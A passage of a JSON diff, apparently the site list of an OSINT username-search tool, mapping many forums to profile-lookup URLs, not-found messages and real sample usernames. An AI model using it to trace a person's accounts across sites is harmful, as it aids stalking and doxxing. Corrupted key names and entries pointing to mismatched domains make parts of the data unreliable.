"errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photos.ucoz.ru/index/8-0-{}", + "urlMain": "https://photos.ucoz.ru", + "usernameON": "photos", + "bad_site": "" + }, + "Forum_photoshara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photoshara.ucoz.ru/index/8-0-{}", + "urlMain": "https://photoshara.ucoz.ru", + "usernameON": "hestilurte", + "bad_site": "" + }, + "Forum_phototerritory": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.phototerritory.ru/index/8-0-{}", + "urlMain": "http://www.phototerritory.ru", + "usernameON": "23a3sdasdasd322", + "bad_site": "" + }, + "Forum_phpbb_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.phpbb.de", + "usernameON": "db1982", + "comments": "super", + "bad_site": "" + }, + "Forum_phpfreaks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.phpfreaks.com", + "usernameON": "gizmola", + "bad_site": "" + }, + "Forum_physicianassistant": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.physicianassistantforum.com", + "usernameON": "CAAdmission", + "comments": "cf", + "bad_site": "" + }, + "Forum_pickleberrypop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pickleberrypop.com/forum/members/?username={}", + "urlMain": "https://pickleberrypop.com", + "usernameON": "cathquillscrap", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pickup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pickup.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_pigeons": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pigeons.biz/members/?username={}", + "urlMain": "https://www.pigeons.biz", + "usernameON": "utahraptor300", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pilotsofamerica": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pilotsofamerica.com/community/members/?username={}", + "urlMain": "https://www.pilotsofamerica.com", + "usernameON": "wanttaja", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pinclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pinclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://pinclub.ucoz.ru", + "usernameON": "multatuli", + "bad_site": "" + }, + "Forum_pipca": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://pipca.6bb.ru", + "usernameON": "ola", + "bad_site": "" + }, + "Forum_pirate4x4": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pirate4x4.com/members/?username={}", + "urlMain": "https://www.pirate4x4.com", + "usernameON": "jeepfan2022", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_piratehub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://s1.piratehub.biz/members/?username={}", + "urlMain": "https://s1.piratehub.biz", + "usernameON": "timetobefirst", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pirates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://piratesforums.co/members/?username={}", + "urlMain": "https://piratesforums.co", + "usernameON": "sergey1337", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pirates-life": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pirates-life.ru/index/8-0-{}", + "urlMain": "http://pirates-life.ru", + "usernameON": "alerg", + "comments": "bad", + "bad_site": "" + }, + "Forum_piratich": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorMsg": "Nebyly nalezeny", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat", + "urlMain": "https://forum.pirati.cz", + "usernameON": "Hextus", + "bad_site": "" + }, + "Forum_pisatelforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pisatelforum.ucoz.ru/index/8-0-{}", + "urlMain": "https://pisatelforum.ucoz.ru", + "usernameON": "nix", + "bad_site": "" + }, + "Forum_pitbull-abakan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}", + "urlMain": "https://pitbull-abakan.3dn.ru", + "usernameON": "Rolandpag", + "bad_site": "" + }, + "Forum_pixelmonrealms": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pixelmonrealms.com/members/?username={}", + "urlMain": "https://pixelmonrealms.com", + "usernameON": "dragonowater", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pkq-clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pkq-clan.ucoz.com/index/8-0-{}", + "urlMain": "https://pkq-clan.ucoz.com", + "usernameON": "Pinupduzwah", + "bad_site": "" + }, + "Forum_planet-9": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.planet-9.com/members/?username={}", + "urlMain": "https://www.planet-9.com", + "usernameON": "deilenberger", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_planet-nefelana": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}", + "urlMain": "https://planet-nefelana.ucoz.ru", + "usernameON": "Nefelana", + "bad_site": "" + }, + "Forum_planetarium_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}", + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameON": "altechst", + "bad_site": "" + }, + "Forum_playtime": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.playtime-forum.info/forum/members/?username={}", + "urlMain": "https://www.playtime-forum.info", + "usernameON": "Glumbi", + "bad_site": "" + }, + "Forum_plcforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}", + "urlMain": "http://plcforum.uz.ua", + "usernameON": "Novice", + "bad_site": "" + }, + "Forum_pling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "UH OH! You're lost.", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.pling.com/u/{}", + "urlMain": "https://www.pling.com", + "usernameON": "dhyegoac2007", + "bad_site": "" + }, + "Forum_plodpitomnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://plodpitomnik.ru", + "usernameON": "tag", + "comments": "super", + "bad_site": 1 + }, + "Forum_plumbing": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.plumbingforums.com/members/?username={}", + "urlMain": "https://www.plumbingforums.com/", + "usernameON": "miced69", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pmfun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pmfun.com", + "usernameON": "JPSZone", + "bad_site": "" + }, + "Forum_pngindians": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.pngindians.com/members/?username={}", + "urlMain": "https://forums.pngindians.com", + "usernameON": "indianfan", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_podolsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Подольский городской форум - Информация", + "errorTyp��": "message", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.podolsk.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_podrabotka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://podrabotka.3dn.ru/index/8-0-{}", + "urlMain": "https://podrabotka.3dn.ru", + "usernameON": "Tara", + "bad_site": "" + }, + "Forum_podrastem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://podrastem.com/index/8-0-{}", + "urlMain": "http://podrastem.com", + "usernameON": "spenga", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poezd-photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://poezd-photo.ucoz.ru/index/8-0-{}", + "urlMain": "https://poezd-photo.ucoz.ru", + "usernameON": "rafikakenirov", + "bad_site": "" + }, + "Forum_pokatushki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pokatushki.ucoz.ru/index/8-0-{}", + "urlMain": "https://pokatushki.ucoz.ru", + "usernameON": "Mystic", + "bad_site": "" + }, + "Forum_pokebeach": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.pokebeach.com/forums/members/?username={}", + "urlMain": "https://www.pokebeach.com", + "usernameON": "geodugtrio", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pokemine": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://forum.pokemine.gg/search/?q={}&type=core_members", + "urlMain": "http://forum.pokemine.gg", + "usernameON": "czoko68", + "bad_site": "" + }, + "Forum_pokemmo": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search. ", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.pokemmo.eu", + "usernameON": "kayninexl", + "bad_site": "" + }, + "Forum_pokemonrevolution": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pokemonrevolution.net", + "usernameON": "Hack00", + "bad_site": "" + }, + "Forum_pokerchip": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pokerchipforum.com/members/?username={}", + "urlMain": "https://www.pokerchipforum.com", + "usernameON": "dmcl924", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pokersrbija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.pokersrbija.com/u/{}", + "urlMain": "https://forum.pokersrbija.com", + "usernameON": "mim4dayi", + "bad_site": "" + }, + "Forum_pokerus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://pokerus.ru/index/8-0-{}", + "urlMain": "https://pokerus.ru", + "usernameON": "Mult", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poligon29": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.politik-forum.eu", + "usernameON": "Michi", + "bad_site": "" + }, + "Forum_politomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://politomsk.ru/index/8-0-{}", + "urlMain": "http://politomsk.ru", + "usernameON": "slepuhin198427", + "bad_site": "" + }, + "Forum_polkadot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.polkadot.network/u/{}/summary", + "urlMain": "https://forum.polkadot.network", + "usernameON": "muddlebee", + "bad_site": "" + }, + "Forum_pominovenieiv": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ponarama.my1.ru/index/8-0-{}", + "urlMain": "https://ponarama.my1.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_poodle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.poodleforum.com/members/?username={}", + "urlMain": "https://www.poodleforum.com/", + "usernameON": "cowpony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_popasnayalife": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://popasnayalife.at.ua/index/8-0-{}", + "urlMain": "https://popasnayalife.at.ua", + "usernameON": "AlisaBerne", + "bad_site": "" + }, + "Forum_popgun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://popgun.ru", + "usernameON": "igor42", + "comments": "bad", + "bad_site": "" + }, + "Forum_popjustice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.popjustice.com/members/?username={}", + "urlMain": "https://forum.popjustice.com", + "usernameON": "dumper", + "bad_site": "" + }, + "Forum_porcheAU": { + "country": "🇦🇺", + "country_klas": "AU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members", + "urlMain": "https://porscheforum.com", + "usernameON": "tomo", + "bad_site": "" + }, + "Forum_porka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://porki.ucoz.ru/index/8-0-{}", + "urlMain": "https://porki.ucoz.ru", + "usernameON": "porki", + "bad_site": "" + }, + "Forum_pornworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pornworld.to/members/?username={}", + "urlMain": "https://pornworld.to", + "usernameON": "popeluka", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_portal-anime": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://portal-anime.ru/index/8-0-{}", + "urlMain": "http://portal-anime.ru", + "usernameON": "SASUKE1744", + "bad_site": "" + }, + "Forum_portirkutsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://portirkutsk.ru", + "usernameON": "Tema28", + "bad_site": "" + }, + "Forum_posol_BLOCK_RU_IP": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://posol.ucoz.ru/index/8-0-{}", + "urlMain": "http://posol.ucoz.ru", + "usernameON": "umtor", + "comments": "bad", + "bad_site": "" + }, + "Forum_postwrestling": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.postwrestling.com/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "nealflanagan", + "bad_site": "" + }, + "Forum_poteryashka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "This website is stealing content!", + "errorMsg3": "закрыт", + "errorTyp��": "message", + "url": "http://poteryashka.spb.ru/index/8-0-{}", + "urlMain": "http://poteryashka.spb.ru", + "usernameON": "Chief", + "bad_site": 1, + "comments": "Oplata", + "exclusion": "\\W" + }, + "Forum_potystorony": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://potystorony.ucoz.ru/index/8-0-{}", + "urlMain": "https://potystorony.ucoz.ru", + "usernameON": "zaconnic", + "bad_site": "" + }, + "Forum_pouet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "registered
    403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravmama.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravmama.ucoz.ru", + "usernameON": "toolni", + "bad_site": "" + }, + "Forum_pravo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pravo.r1v.ru/index/8-0-{}", + "urlMain": "http://pravo.r1v.ru", + "usernameON": "Arkchloush", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pravoslavie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pravoslavie-forum.org/members/?username={}", + "urlMain": "https://pravoslavie-forum.org", + "usernameON": "serg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pravoslavie-12": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavie-12.ucoz.ru", + "usernameON": "Admins", + "bad_site": "" + }, + "Forum_pravoslavie-alt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.pravoslavie-alt.ru/index/8-0-{}", + "urlMain": "https://www.pravoslavie-alt.ru", + "usernameON": "Loginova19", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_pravoslavielove": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavielove.ucoz.ru", + "usernameON": "Oles", + "bad_site": "" + }, + "Forum_predatel": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://predatel.ucoz.ua/index/8-0-{}", + "urlMain": "https://predatel.ucoz.ua", + "usernameON": "Старлей", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pregnancy": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "robots\" content=\"noindex, nofollow", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://pregnancy.org.ua", + "usernameON": "Nadinka", + "bad_site": "" + }, + "Forum_prepas": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.", + "errorMsg2": "Please wait", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prepas.org", + "usernameON": "red", + "bad_site": "" + }, + "Forum_prepperforums": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.prepperforums.net/members/?username={}", + "urlMain": "https://www.prepperforums.net", + "usernameON": "paraquack", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pressball": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация\n ", + "errorTyp��": "message", + "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pressball.by", + "usernameON": "zalgiris", + "bad_site": 1 + }, + "Forum_pressurewashingresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://pressurewashingresource.com/community/u/{}/summary", + "urlMain": "https://pressurewashingresource.com/", + "usernameON": "letterguy", + "bad_site": "" + }, + "Forum_prestashop": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "0 result", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.prestashop.com", + "usernameON": "cmpm", + "bad_site": "" + }, + "Forum_prihoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prihoz.ru", + "usernameON": "grawicapa", + "bad_site": "" + }, + "Forum_primat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://primat.org/index/8-0-{}", + "urlMain": "http://primat.org", + "usernameON": "alyonaaaaaa", + "bad_site": "" + }, + "Forum_primetimer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.primetimer.com", + "usernameON": "athena", + "comments": "ZAK_user", + "bad_site": "" + }, + "Forum_primhunt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://primhunt.ru/members/?username={}", + "urlMain": "https://primhunt.ru", + "usernameON": "gap", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_primkoniponi": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg2": "hidden\" name=\"quicksearch", + "errorTyp��": "message", + "url": "http://www.priorovod.ru/blog.php?username={}", + "urlMain": "http://www.priorovod.ru", + "usernameON": "topcar77", + "bad_site": "" + }, + "Forum_priroda77": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.privateinvestor2000.com/index/8-0-{}", + "urlMain": "http://www.privateinvestor2000.com", + "usernameON": "olga77kol", + "bad_site": "" + }, + "Forum_prizrak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://prizrak.ws", + "usernameON": "Jockers", + "bad_site": "" + }, + "Forum_prizyvnikmoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prizyvnikmoy.ru/index/8-0-{}", + "urlMain": "https://prizyvnikmoy.ru", + "usernameON": "t1984n2003", + "bad_site": "" + }, + "Forum_pro-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "http://pro-cats.ru/index/8-0-{}", + "urlMain": "http://pro-cats.ru", + "usernameON": "parrots", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pro-edu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pro-edu.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro-edu.ucoz.ru", + "usernameON": "ViMo", + "bad_site": "" + }, + "Forum_pro-kleim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-kleim.ucoz.ru/index/8-0-{}", + "urlMain": "http://pro-kleim.ucoz.ru/", + "usernameON": "4047916", + "bad_site": "" + }, + 